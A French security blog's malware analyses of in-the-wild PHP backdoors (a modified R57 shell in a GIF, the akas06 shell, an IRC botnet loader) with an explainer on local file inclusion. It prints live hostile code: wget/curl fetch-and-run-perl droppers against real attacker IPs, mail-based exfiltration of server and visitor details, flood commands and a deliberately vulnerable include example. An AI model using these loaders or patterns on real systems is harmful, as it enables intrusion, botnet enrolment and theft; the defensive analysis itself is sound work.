Fort en Zic ou Forensic ?

J’ai apporté ma modeste contribution à l’équipe de Root-Me en créant quelques petits challs forensic :

http://www.root-me.org/fr/Challenges/Forensic/

Je rassure tous le monde, rien d’hors de portée. Cela permet de se familiariser à certains outils (volatility, pdns, ida). Bon courage mes poneys ;)

 

Posted in Challenge, Hacking, Reverse | Tagged , , | Leave a comment

Le dernier PHP du pack

L’étrange image

La semaine dernière, suite au post le “méchant de la semaine” on a vu un étrange script php qui s’est révélé être une jolie backdoor php gothique. Il nous restait un script à analyser; «Thumb.php» . Vous pouvez retrouver ce script chez Malware.lu sous le sha1: 4a0fbff2ef963fe2f9a4dcd79b0ce0c0529c53c2 [MODE PROMO ON] Toutes les semaines, collectionnez en exclusivité des éditions reproduites à la main de backdoors php. Malware.lu, un produit des Editions Delprado [MODE PROMO OFF]. Voyons enfin ce nouveau jouet :

Si on est pas trop regardant le fichier Thumb.php malgré son extension semble être une image.

thanat0s@server:$ file thumb.php.malv 
thumb.php.malv: GIF image data, version 89a, 16129 x 16129

Si on est un peut plus regardant il y a cependant du code php à l’intérieur.

thanat0s@server:$ strings thumb.php.malv | head -n 10
GIF89a
??????????!??
????,????
?;?<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);

Le Finger Introduit

Si jusque là cela ne vous a pas choqué, les plus jeunes d’entre vous se demandent tout de suite, pourquoi et surtout comment un tel code dans une image peut être exécuté ! Le secret réside en 3 lettres L.F.I. , alias “Local File Inclusion”. Petit chapitre explicatif pour les moins agguéris d’entre nous.

[Mode Mother Knowledge On]..[Mode Mother Knowledge On]..[Mode Mother Knowledge On]

En effet, il faut savoir que php est un language qui se met en branle dès qu’il croise une bannière de type “<?” ou “<?php” jusqu’a “?>”. Généralement on retrouve php dans un fichier texte en pleine page html. le classique hello world serait :

<html><head></head><body>
<?php print "hello world"; ?>
</body></html>

Mais le parseur php est pas très regardant, il retrouve ses petits même au milieu d’un champ de bit. Dès qu’il croise un <? il commence à bosser.

0101010110010<?php print "hello world";?>01010101110101

Du coup imaginez, vous avez un site où on peut y uploader une image, son avatar par exemple. Attention on fait de la sécu à papa, le codeur n’est pas un con, le site vérifie bien que le fichier uploadé est une vrai image ! Dans ce cas grace a ma fausse image étape une franchie ! J’ai posé le script php de mon choix sur le serveur. Mais ce n’est pas tout, maintenant il me faut une faille LFI. Un LFI c’est une connerie de codeur, mais malheureusement le codeur étant humain, ca marche encore pas mal. Le LFI c’est la possibilité d’inclure un fichier de son choix dans un script qui s’exécute sur le serveur. Il y a deux variantes, l’une n’empêchant pas forcément l’autre; Première variante, le LFI dont le fichier inclus ne s’exécute pas mais s’affiche, cela permet cependant de downloader de façons arbitraire le fichier de son choix sur le serveur. C’est déja embettant, on peut sortir le code source, des fichiers de configuration avec des mots de passe juteux etc… Mais il y a pire, le LFI ou le script s’exécute. Et là c’est la fête. Comment en arrive t’on là ? Simplement !

Imaginons un codeur flemmard a qui on a demandé de faire un site de 15 pages. Il va faire un squelette, et le contenu des pages sera chargé dynamiquement en fonction de ce que l’on donne dans le paramètre page. le code source serait :

<html>
<?php
 include('header.php');
 if (empty($_GET["page"])) {
     include('mainpage.php');
 } else {
     include($_GET["page"] + ".php");
 }
 include('footer.php');
?>
</html>

Et le gars a n’a plus qu’a provisionner les fichiers. Par exemple ;

Si on demande http://lesite/index.php on aura la “mainpage.php”
Si on demande http://lesite/index.php?page=info on aura la page “info.php”, etc etc… On met les pages que l’on veux. Fin des soucis pour le programmeur.

Malheureusement si un margoulin demande un truc du genre : http://lesite/index.php?page=./avatars/thumb on inclura notre page en php précédemment uploadée. Et cela c’est très moche.

On reviendra en détail sur le LFI dans un autre post si il y a des fans. c’est une faille “winwin”, assez commune et qui ne noyaute pas que du code php.

[Mode Mother Knowledge Off]..[Mode Mother Knowledge Off]..[Mode Mother Knowledge Off]

Désossons

Revenons à notre étrange image et extrayons ce code php. On va faire cela grâce à un de mes petit tools à chall que vous pouvez trouver sur mon humble github.

thanat0s@server$ xphp.py thumb.php.malv > xtracted.thumb.php
thanat0s@server$ file xtracted.thumb.php 
xtracted.thumb.php: PHP script text

Et regardons ensemble à quoi cela ressemble :

<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);
$aceh="7b1pexs5rjD6efI8+Q9MjU9L6pZlrV4jt3fHjrd4j5O8OiWpJFVcWrpK8pJM7m+...
...
...
...CC8NJfqrOzfWWYCf4R7XLb6bVQtg+ft4QMNBerqZX/Hw==";
eval(gzinflate(base64_decode($aceh)));
?>

C’est un classique de l’obfuscation sous php, le code source est compressé puis encodé en base64 et on se sert de la fonction eval() pour l’exécuter  Ici le longs code source compressé et encodé en base64 est mis dans la variable $aceh (ligne 8). la ligne 12 va l’executer. Généralement il y a plusieurs tours de (base64 / compression). Ils leur arrive même d’être inventifs, et ajoutent un petit coup de rot13 ou de substitution en plus. Habituellement j’utilise un tool en ligne pour de-offusquer ce genre de carabistouilles; Soit http://www.tareeinternet.com/scripts/decrypt.php mais qui ne gère pas les multitours (Et au bout de 64 on en a marre de copier coller) soit j’utilise http://ddecode.com/phpdecoder mais à force c’est pas funky, premièrement c’est pas en ligne de commande et ensuite, puis mince quoi c’est pas chez moi et en plus ce gars publie tout ce que l’on décrypte !! J’ai donc décidé de coder le mien en python pour le fun. Il est au format beta beta, ne gère pour l’instant peu de choses (base64 et decompression), et probablement pourris de bugs mais il fonctionne pour celui là et c’est moi qui l’ai fait ! Il est aussi dispo dans mes tools à chal. Allons y extrayons ce code puis cherchons la backdoor de backdoor car maintenant vous savez, “Il y a toujours des backdoor dans la backdoor”.

Cherchons des eval():

thanat0s@server$ phpeval.py xtracted.thumb.php > xtracted2.thumb.php
thanat0s@server$ cat xtracted2.thumb.php | grep eval
// Decoded by phpeval.py
$set_index  = "{\${eval(base64_decode(\'".base64_encode($index);
//$set_index .= base64_encode("eval ('$index');");
        eval('$hexdtime = "' . $hexdtime . '";');
$datapipe_pm="c2Vzc2lvbl9zdGFydCgpOw0KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2JhamFrJ10pKQl7DQoJJHZpc2l0Y291bnQgPSAwOw0KCSR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQoJJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOw0KCSRib2R5ID0gImFkYSB5YW5nIGluamVjdCBcbiR3ZWIkaW5qIjsNCgkkc2FmZW0wZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQoJCWlmICgkc2FmZW0wZGU9MSkgeyRzZWN1cml0eT0gIlNBRkVfTU9ERSA9IE9OIjt9DQoJCWVsc2UgeyRzZWN1cml0eT0gIlNBRkVfTU9ERSA9IE9GRiI7fTsNCgkkc2VycGVyPWdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pOw0KCSRpbmpla3RvciA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pOw0KCW1haWwoInZpZGxsYTA5QGdtYWlsLmNvbSIsICIkYm9keSIsIkhhc2lsIEJhamFrYW4gaHR0cDovLyR3ZWIkaW5qXG4kc2VjdXJpdHlcbklQIFNlcnZlciA9ICRzZXJwZXJcbiBJUCBJbmplY3Rvcj0gJGluamVrdG9yIik7DQoJJF9TRVNTSU9OWydiYWphayddID0gMDsNCgl9DQplbHNlIHskX1NFU1NJT05bJ2JhamFrJ10rKzt9Ow0K"; echo eval(base64_decode($datapipe_pm));
if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){
if ($_POST['cmd']=="php_eval"){
 $eval = @str_replace("<?","",$_POST['php_eval']);
 $eval = @str_replace("?>","",$eval);
 @eval($eval);}
echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');

Et c’est immuable, une fois de plus la backdoor de backdoor est là, Si on décode la chaine base64 $datapipe_pm on tombe sur :

session_start();
if (!isset($_SESSION['bajak']))	{
	$visitcount = 0;
	$web = $_SERVER["HTTP_HOST"];
	$inj = $_SERVER["REQUEST_URI"];
	$body = "ada yang inject \n$web$inj";
	$safem0de = @ini_get('safe_mode');
		if ($safem0de=1) {$security= "SAFE_MODE = ON";}
		else {$security= "SAFE_MODE = OFF";};
	$serper=gethostbyname($_SERVER['SERVER_ADDR']);
	$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
	mail("vidlla09@gmail.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
	$_SESSION['bajak'] = 0;
	}
else {$_SESSION['bajak']++;};

Et voila, dès que ce script est exectué, il bave dans la boite mail “vidlla09@gmail.com” (Décidément google est un repaire pour margoulins ;) ). Il indique l’adresse du serveur, l’adresse du client ayant exécuté le script ainsi que l’état du “Safe Mode” de php.

Commentons cette petite “bavance”. On se retrouver donc avec une backdoor de 3700 lignes pour 173 Ko.. Qui dit mieux ? Cette fois ci, sobriété pas de bannière festive, à première vue nous voici en face d’une backdoor faite par M. MagiciaN

<head>^M
<title>[ MagiciaN@SheLL ]</title>^M
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">^M
<STYLE>^M

Et manifestement, si on se fie à l’encodage et aux CRLFs, MagiciaN est un gars sous Windows. Cette backdoor là ne semble pas avoir besoin de ressources externes :

thanat0s@server:$ cat xtracted2.thumb.php  | egrep "(http(s)?:|www)"
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
$link = "http://$user:$pass@".$_SERVER['SERVER_ADDR'].":2082";
$link = "http://$user:$pass@".$host.":2082";
$url = 'http://'.$HTTP_HOST.$REQUEST_URI;
 function cx(){ @tempnam("/www/", "../../../../../../var/tmp/cx"); cx(); } cx();
."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));

Elle est prête à être lancée dans notre sandbox, Voici la bête :

R57 Shell - Mod Magician

Au final, les fins connaisseurs l’auront reconnus, on se trouve devant une version modifiée de la backdoor R57 (http://www.r57shell.biz/shell/privr57.txt), ils sont fort ces turcs ;). D’un point de vue fonctionnel, elle est “feature full” comme vous dirait un commercial. Au menu :

  • Sévices sur FTP et Bases Sql
  • Mail / Spam / MailBomb
  • Upload/Download de tous poils
  • Remote shell / Php remote execution
  • Proxy, Socket forward.
  • Dos du serveur ou elle réside (Pourquoi ?).

A bientôt pour d’autre méchants logiciels.

 

Posted in Hacking, WebSecurity | Tagged , , , | Leave a comment

Et encore un étrange PHP

Dans le post précédent, on a vu comment se faire embrigader son site web dans une poignée de botnet sous irc et ce qu’il était possible de faire avec ces botnets. Continuons l’analyse de des ces scripts en désossant «l’étrange image» utilisée en tant qu’«Injector» alias aka.jpg. Ce fichier est lui aussi un script PHP que vous pouvez retrouver chez malware.lu sous le sha 9ad4d81bd0d4d8f51031837f75902257f1d8ca1f [MODE PROMO ON] Malware.lu, c’est du malware mais c’est pas grave [MODE PROMO OFF].

C’est aussi une belle bête, 3300 lignes pour 173K de Php. D’après la bannière on est en présence d’une bonne vieille backdoor ;

/*******************************************/
/* [ * ] PHP Shell by akas06 [ * ]         */
/* Re-coded and modified By akas06         */
/* zeustrojan@linuxmail.org                */
/*******************************************/

À la première lecture de ce genre de script, on cherche à trouver la backdoor de la backdoor.. Et c’est inexorable, cela ne manque pas.. En plein milieu de la phase d’initialisation du script on retrouve un étrange :

$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKC
AkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUls
iUkVNT1RyQUREUiJdOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJW
RVJbIlJFUVVFU1RfVVJJIl07ICR0YXJnZXQgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsgJGJvZ
HkgPSAiQm9zcywgdGhlcmUgd2FzIGFuIGluamVjdGVkIHRhcmdldCBvbiAkdGFyZ2V0IGJ5ICR2aX
NpdG9yIjsgQG1haWwoInNlbGxlci5ob3N0aW5nMkBnbWFpbC5jb20iLCJTaGVsbEJvcyBodHRwOi8
vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBz
ZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));

Evidemment si on décode la string encodée base64 on tombe sur :

$visitcount = $HTTP_COOKIE_VARS["visits"]; 
if( $visitcount == "") {
 $visitcount = 0; 
 $visitor = $_SERVER["REMOTrADDR"]; 
 $web = $_SERVER["HTTP_HOST"]; 
 $inj = $_SERVER["REQUEST_URI"]; 
 $target = rawurldecode($web.$inj); 
 $body = "Boss, there was an injected target on $target by $visitor"; 
 @mail("seller.hosting2@gmail.com","ShellBos http://$target by $visitor", "$body"); 
} else { 
 $visitcount; 
} 
setcookie("visits",$visitcount);

Encore une fois tout en humilité «hein Boss» ;) Et donc voila, dès la première visite de ce script, celui-ci va “baver” dans la boite mail “seller.hosting2@gmail.com” et il indiquera l’emplacement de la backdoor et l’ip du client qui s’est connecté. Cela sera le cas pour chaque nouveau client. Ça c’est probablement pour calmer les gamins qui découvrent ce script et qui tentent de jouer avec le feu.

Une fois cette ligne commentée on peut continuer à regarder ce que fait cette backdoor. La première chose qui est fun, c’est que cette backdoor hoste les images sa très gothique  skin tout simplement sur un site wordpress. C’est assez cocasse étant donné que ce genre de backdoor viennent généralement de poncer justement… des sites wordpress. Cela nous apprendre deux choses, primo ces petits malins sont indonésiens et secundo que cela dure depuis septembre (Et oui 4 mois déjà).

</head> 
    <BODY ><center> 
    <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 cellPadding=15 width= 95%  border=1 > 
    <tr><th width="100%" height="15" nowrap valign="top" colspan="2">  
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/banner.png"></a>  
    <br><br>
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/logo.png"></a>  
    <br><br>

Evidemment le site malengz.files.wordpress.com de base est hors de tous soupçons.

malengz website

malengz website

Mais rien que la bannière cachée au fond du site semble prometteuse. Tous les mots clef y sont… Petit Quizz.. Toi aussi trouve l’intrus, lequel de ces mots n’est pas une attaque ?

Bullet Proof Security

Bullet Proof Security

Vite, vite lisons le code source. Première chose à noter, c’est qu’à part les images sur le site wordpress, toute une autre série de scripts et d’archives sera téléchargé du site www.inforealstate.pl

thanat0s@server:$ cat akas.jpg.malv | grep mainurl
$sh_mainurl = "http://www.inforealestate.pl//logs/data/";
$accessdeniedmess = "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied";
$c99sh_updateurl = $sh_mainurl."fx29sh_update.php";
$c99sh_sourcesurl = $sh_mainurl."fx29sh_source.txt";
    array("wget & extract psyBNC","wget ".$sh_mainurl."psy.tgz;tar -zxvf psy.tgz"),
    array("wget & extract EggDrop","wget ".$sh_mainurl."GoaCreW.jpg;perl GoaCreW.jpg"),
    array("wget RatHole 1.2 (Linux & BSD)","wget ".$sh_mainurl."rathole-1.2.tar.gz"),
    array("wget & run BindDoor","wget ".$sh_mainurl."toolz/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"),
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."page.jpg"; ?>','configs.php')">[Fx29Sh]</a>
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."psy.tgz"; ?>','psy.tgz')">[psyBNC]</a>
    <a href="#" onclick="set_arg('<?php echo $sh_mainurl."hzegg.tar.gz"; ?>','hzegg.tar.gz')">[Eggdrop]</a>

Malheureusement pour moi, trop tard, il semblerait que le site polonais ait déjà nettoyé ces saloperies. Impossible donc de mettre la main sur ce qui semble être un joli condensé d’exploit web et de rootkit de tous poils. On se notera les noms pour tenter un Dork pour les trouver plus tard.

Une autre poigné de scripts d’exploits semble directement pris depuis des sites comme milw0rm, packetstorm, securityfocus etc… On est effectivement en face d’une backdoor avec option “injecteur de compétition”.

thanat0s@server:$ cat localaka.php | grep http: 
#$sh_mainurl = "http://www.inforealestate.pl//logs/data/";
$sh_mainurl = "http://127.0.0.1/"; 
'<html><head><title>"??(-MaLeNg-)??"</title><link REL="SHORTCUT ICON" HREF="http://malengz.files.wordpress.com/2012/09/radar.gif"> 
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/banner.png"></a>  
    <a href=""><img src="http://malengz.files.wordpress.com/2012/09/logo.png"></a>  
//$c99sh_updateurl = "http://localhost/toolz/fx29sh_update.php";
//$c99sh_sourcesurl = "http://localhost/toolz/fx29sh_source.txt";
$enumerate = "http://".$hostname_x."/".$itshome."";
  $millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion;
  $millink ="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
    foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
    array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
    array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
    array("Md5-Lookup","http://www.md5decrypter.com/"),
    array("Word-Lists","http://darkc0de.com/wordlists/"),
     "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
     "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
      if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
<td><form method="post" action="http://google.com/search">
<div class=barheader2 colspan=2><font color=#00EE00><center> <img src="http://malengz.files.wordpress.com/2012/09/diamond.gif"></center>.::[ Powered By TeRoRiZ #MaLeNg CoMMuNiTy ]::.</font></div>

Maintenant qu’il semble sanitisé et controlé, lançons le directement dans notre sandbox et laissons enfin la bête se présenter :

Akas 06 BackDoor

Et voila donc à quoi ressemble une énième backdoor de type “C00L 8L4ck SkinZZZzzz, I’m a H4cK3r Man !!” Cela permet de rapidement prendre en main le serveur, même sans compétences particulières.

Backdoor easy functions

On peut dès lors sur ce pauvre serveur, s’y balader, ouvir un shellcode, installer un rootkit, jouer avec la database, lancer du code php, y pousser des fichiers, trouver des répertoires writables, etc… etc.. C’est une backdoor classique qui ne diffère pas beaucoup de celles que j’ai déjà vue. Cependant celle-la a un petit plus ! Elle dispose d’une boite mail pour le support (On laissera Mme Merkel seule juge pour apprécier l’humour indonésien.)

Support "Deutsch Qualität" Allez à bientôt pour le dernier script de ce pack. Allons prévenir Google et WordPress, là cela a plus de chances de fonctionner :)

 

 

 

Posted in Hacking, WebSecurity | Tagged , , | Leave a comment

Le méchant de la semaine est un Con.

Allez prenons du temps pour analyser une attaque web. Elle est disons…  Originale… Çà change un peu. Vous verrez c’est rigolo en plus.

Cette semaine dans les logs de notre fidèle waf au travail, on a trouvé une poignée de requêtes du genre :

http://monsite.acme.com/lapage?id=123Dorkhttp://87.201.203.154/HTouch/kickstart/images/shawls/bonze.jpg

A première vue, cela n’a aucun sens. Je veux bien que quelqu’un tente une inclusion quelconque mais que vient foutre ce “Dork” en plein milieu. J’ai donc été downloader cette petite image étonnante. On tombe en fait sur un script php en lieu et place du Jpeg. Cette page n’est absolument pas offusqué (merci … parce que c’est chiant sinon). Allons y désossons cet exploit.

Partie 1 , Le Loader/Client IRC

Si par magie l’exécution se réalise voila ce qui se passe. La première partie du script est on ne peut plus explicite… Il tente désespérément de downloader un autre script nommé scan.txt et de l’exécuter avec Perl:

<?php
set_time_limit(0); 
error_reporting(0);

$url[2] = "http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt";
$sfe[2] = "shg";
exec(); shell_exec(); system(); passthru();
exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
shell_exec("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("cUrl -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("lynx -dump ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("GET ".$url[2].">".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
system("lwp-download ".$url[2]." ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
passthru("wget ".$url[2]." -O ".$sfe[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
passthru("fetch -O ".$sfe[2]." ".$url[2]."; chmod 755 ".$sfe[2]."; perl ".$sfe[2]."*");
... etc...

Il essaye ensuite la même chose dans le répertoire /tmp puis dans /var/tmp.

[MODE PROMO ON] J’ai déposé ce script chez http://malware.luLe Numéro UN du stockage de malware ouvert au petits et au grands Bref il est disponible sous le hash sha1 cdbc7e6d811874a7df10d6fdbec145a82f9ed1c9 [MODE PROMO OFF].

Enfin vient la partie rigolote..  Après une sobre bannière toute en humilitée.

      /****************************************************/
      /* powered by LND - by BDM                          */
      /*        shouts:                                   */
      /*  we fuck the world                               */
      /*   we are Legendz                                 */
      /****************************************************/

On tombe sur un client IRC en php se connectant sur le serveur 217.26.172.200. Un bon vieux serveur Moldave (Voir http://bgp.he.net/ip/217.26.172.200#_whois),

inetnum:        217.26.160.0 - 217.26.175.255
org:            ORG-AC2-RIPE
netname:        MD-ARAXCOM-20001016
descr:          Arax-Impex s.r.l.
country:        MD
admin-c:        TAIA1-RIPE
tech-c:         VIBR1-RIPE
status:         ALLOCATED PA
mnt-by:         RIPE-NCC-HM-MNT
mnt-lower:      ARAXCOM-MNT
mnt-routes:     ARAXCOM-MNT
source:         RIPE # Filtered

organisation:   ORG-AC2-RIPE
org-name:       Arax-Impex s.r.l.
org-type:       LIR
address:        Arax Communications
                Dosoftei 118
                MD-2004 Chisinau
                Moldova, Republic of
phone:          +373 22 838000
fax-no:         +373 22 838001
admin-c:        AG12573-RIPE
admin-c:        TAIA1-RIPE
admin-c:        VIBR1-RIPE
mnt-ref:        ARAXCOM-MNT
mnt-ref:        RIPE-NCC-HM-MNT
mnt-by:         RIPE-NCC-HM-MNT
source:         RIPE # Filtered

person:         Armen Tsitsinovski
address:        Arax Communications
address:        Dosoftei 118
address:        MD-2004 Chisinau
address:        Republic of Moldova
mnt-by:         ARAXCOM-MNT
phone:          +373 22 838000
fax-no:         +373 22 838001
nic-hdl:        TAIA1-RIPE
source:         RIPE # Filtered

Celui-ci se connecte sur channel “vics” (voir le paramètre chan en base64 ligne 8)… “vics” pour victimes n’en doutons pas..

class pBot
        {
                var $using_encode = true;

                var $config = array(
                        'server'        => 'MjE3LjI2LjE3Mi4yMDA=',      //server here (base64)
                        'port'          => 8585,
                        'chan'          => 'dmljcw==',          //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
                        'key'           => '',
                        'nickform'      => 'own[%d]',
                        'identp'        => 'darxs',
                        'modes'         => '+p',
                        'maxrand'       => 5,
                        'cprefix'       => '!',
                        'host'          => 'jamaica.hinet-ip.net'
                );

…etc…etc…

  function start()
                {
                        if( $this->using_encode )
                        {
                                if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
                                {
                                        $this->start();
                                }

…etc…etc…

J’essaye de me connecter a l’irc port 8585 et je me prend un reset. Cela sent l’ACL car ce poste semble poncé de chez poncé, des autres ports font timeout en plus c’est la foire du trône, tout est ouvert quasiment.

thanat0s@server:~$ telnet 217.26.172.200 8585
Trying 217.26.172.200...
telnet: Unable to connect to remote host: Connection refused
thanat0s@server:~$ telnet 217.26.172.200 8580
Trying 217.26.172.200...
telnet: Unable to connect to remote host: Connection timed out
thanat0s@server:~$ sudo nmap 217.26.172.200
Starting Nmap 5.00 ( http://nmap.org ) at 2013-02-03 16:51 CET
Interesting ports on 217.26.172.200:
Not shown: 977 closed ports
PORT     STATE SERVICE
23/tcp   open  telnet
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1024/tcp open  kdm
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1030/tcp open  iad1
1063/tcp open  unknown
1065/tcp open  unknown
1433/tcp open  ms-sql-s
1801/tcp open  unknown
2103/tcp open  zephyr-clt
2105/tcp open  eklogin
2107/tcp open  unknown
3389/tcp open  ms-term-serv
8089/tcp open  unknown
8090/tcp open  unknown

Revenons donc au programme. C’est la fête, ce petit client irc en php dispose de fonctions qui sentent bon le collégien. Rien que le nom des fonctions prévues dans le client IRC émerveillent.

thanat0s@server:~> cat bonze.jpg | grep case | sed 's/\t//g' 
case "QUIT":
case "PART": 
case "PRIVMSG": 
case "auth":
case "exec":
case "info":
case "safe":
case "uname":
case "perl":
case "ip":
case "rfi":
case "base64":
case "encode":
case "decode":
case "md5":
case "dns":
case "exit":
case "restart":
case "bs":
case "moveserver":
case "whois":
case "upftp":
case "joinchan":
case "partchan":
case "vuln":
case "download":
case "pmsg":
case "pscan":
case "software":
case "snf":
case "randnick":
case "unauth":
case "urlbomb":
case "udpflood": 
case "tcpflood":

En plus des fonctions pour faire fonctionner l’IRC on retrouve des fonctions “à la Anonymous”, du tcp ou de l’udp flooding, de l’url bombing (Un DDoS Http qui ne précise pas de user-agent) et un scanner de port. Bref si on a le malheur d’avoir un remote execution, on se retrouve déjà en plein milieu d’un Botnet.

Mais il reste encore quelques mystères. Quel est cet étrange fichier texte qu’il tente de télécharger et de lancer avec perl au début du script. Cela semble lui tenir à coeur. Car en plus, de toutes facons le client IRC dispose de la même fonction “ex()” que l’on peut appeler avec la commande irc “perl” elle aussi tente de lancer un script perl de son choix. Pourquoi donc s’acharne t’il alors qu’il pourrait le faire par après ?

case "perl":                                                               {
 if( $this->is_safe( ) )
 {
  $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
  break;
 }
 $perl_file = $mcmd[1];
 if( !empty( $perl_file ) )
 {
 $parsed_url = $this->parse_url_s( $perl_file );
 $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
 $new_local      = $parsed_url[ 'file' ];
 $file_type      = $parsed_url[ 'file_ext' ];
 $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
 $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
